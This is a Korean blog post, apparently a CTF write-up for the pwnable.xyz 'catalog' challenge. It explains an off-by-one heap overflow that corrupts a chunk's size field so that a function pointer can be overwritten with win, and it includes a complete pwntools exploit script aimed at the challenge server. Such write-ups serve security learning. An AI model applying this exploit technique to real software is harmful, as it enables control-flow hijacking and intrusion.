상세 컨텐츠

본문 제목

[pwnable.xyz] catalog

SYSTEM HACKING/pwnable.xyz

by koharin 2020. 3. 9. 22:12

본문

728x90
반응형

# process

 

write_name() 함수에서 heap의 데이터 사이즈에 0x21이 들어가서 edit_name() 함수에서 edit 1바이트 overflow가 일어난다. (off by one)

 

 

이 취약점을 이용해서 해당 chunk의 사이즈 값을 변조해서 다음 청크의 func_ptr을 변조할 수 있다.

 

1. size 값 변조

 

 

2. func_ptr -> win

 

 

Name(0x20) size(0x8) func_ptr(0x8) 구조로 size를 늘려서 func_ptr win으로 덮었다.


# exploit code

 

#!/usr/bin/python 
from pwn import *

context.log_level = 'debug'
#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30023)
#gdb.attach(p)
elf = ELF("./challenge")

def write_name(name):
    p.sendlineafter("> ", '1')
    p.sendafter("name: ", name)

def edit_name(index, name):
    p.sendlineafter("> ", '2')
    p.sendafter("index: ", str(index))
    p.sendafter("name: ", name)

def print_name(index):
    p.sendlineafter("> ", '3')
    p.sendafter("index: ", str(index))
    

write_name('A'*0x20)
edit_name(0, 'C'*0x20 + '\x30')
edit_name(0, 'D'*0x28 + p64(elf.symbols['win']))
print_name(0)
#gdb.attach(p)
p.interactive()

 

# exploit

 


 

728x90
반응형

'SYSTEM HACKING > pwnable.xyz' 카테고리의 다른 글

[Pwnable.xyz] rwsr  (0) 2020.03.25
[Pwnable.xyz] iape  (0) 2020.03.25
[pwnable.xyz] message  (0) 2020.02.28
[pwnable.xyz] badayum  (0) 2020.02.28
[pwnable.xyz] executioner  (0) 2020.02.28

관련글 더보기